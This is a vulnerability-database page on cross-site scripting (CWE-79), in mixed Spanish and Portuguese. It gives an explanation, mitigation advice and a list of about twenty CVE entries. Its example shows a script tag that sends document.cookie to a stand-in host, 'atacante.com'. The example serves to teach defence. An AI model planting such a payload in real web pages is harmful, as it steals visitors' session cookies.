Fallos del tipo CWE-79

30.150 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2024-3230MEDIUMDownload Attachments <= 1.3 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2024-33946HIGHWordPress WPify Woo Czech plugin <= 4.0.10 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2023-49965MEDIUMSpaceX Starlink Wi-Fi router Gen 2 before 2023.48.0 allows XSS via the ssid and password parameters on the Setup Page.EPSS 0.3%CVE-2025-4989HIGHStored Cross-site Scripting (XSS) vulnerability affecting Requirements in Product Manager from Release 3DEXPERIENCE R2022x through Release 3DEXPERIENCE R2025xEPSS 0.3%CVE-2024-28100HIGHStored Cross-site Scripting leading to arbitrary actions taken on behalf of users in elabftwEPSS 0.3%CVE-2024-29103HIGHWordPress Database for Contact Form 7 plugin <= 3.0.6 - Unauthenticated Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-21944MEDIUMVulnerability in the Oracle Agile Product Lifecycle Management for Process product of Oracle Supply Chain (component: Product Quality ManageEPSS 0.3%CVE-2024-7489MEDIUMForms for Mailchimp by Optin Cat <= 2.5.7 - Authenticated (Editor+) Stored Cross-Site Scripting via Form Color ParametersEPSS 0.3%CVE-2025-22682HIGHWordPress Hesabfa Accounting Plugin <= 2.1.2 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2022-36277MEDIUMSQL injection vulnerability in TCMAN GIMEPSS 0.3%CVE-2025-10316LOWCross-Site Scripting in extension "Form to Database" (form_to_database)EPSS 0.3%CVE-2025-8153MEDIUMCross-site Scripting vulnerability in NEC Corporation UNIVERGE IX from Ver.9.5 to Ver.10.7, from Ver.10.8.21 to Ver.10.8.36, from Ver.10.9.1EPSS 0.3%CVE-2025-24620HIGHWordPress AIO Shortcodes plugin <= 1.3 - Stored Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-4984HIGHStored Cross-site Scripting (XSS) vulnerability affecting City Discover in City Referential Manager on Release 3DEXPERIENCE R2025xEPSS 0.3%CVE-2023-48682MEDIUMStored cross-site scripting (XSS) vulnerability in unit name. The following products are affected: Acronis Cyber Protect 16 (Linux, Windows)EPSS 0.3%CVE-2024-25921HIGHWordPress Action Network plugin <= 1.4.2 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-52482HIGHWordPress Ortto plugin <= 1.0.19 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-12223CRITICALStored Cross-site Scripting (XSS) in Nutanix Prism CentralEPSS 0.3%CVE-2025-0485MEDIUMFanli2012 native-php-cms sysconfig_doedit.php cross site scriptingEPSS 0.3%CVE-2026-22257HIGHSalvo is vulnerable to stored XSS in the list_html function by uploading files with malicious namesEPSS 0.3%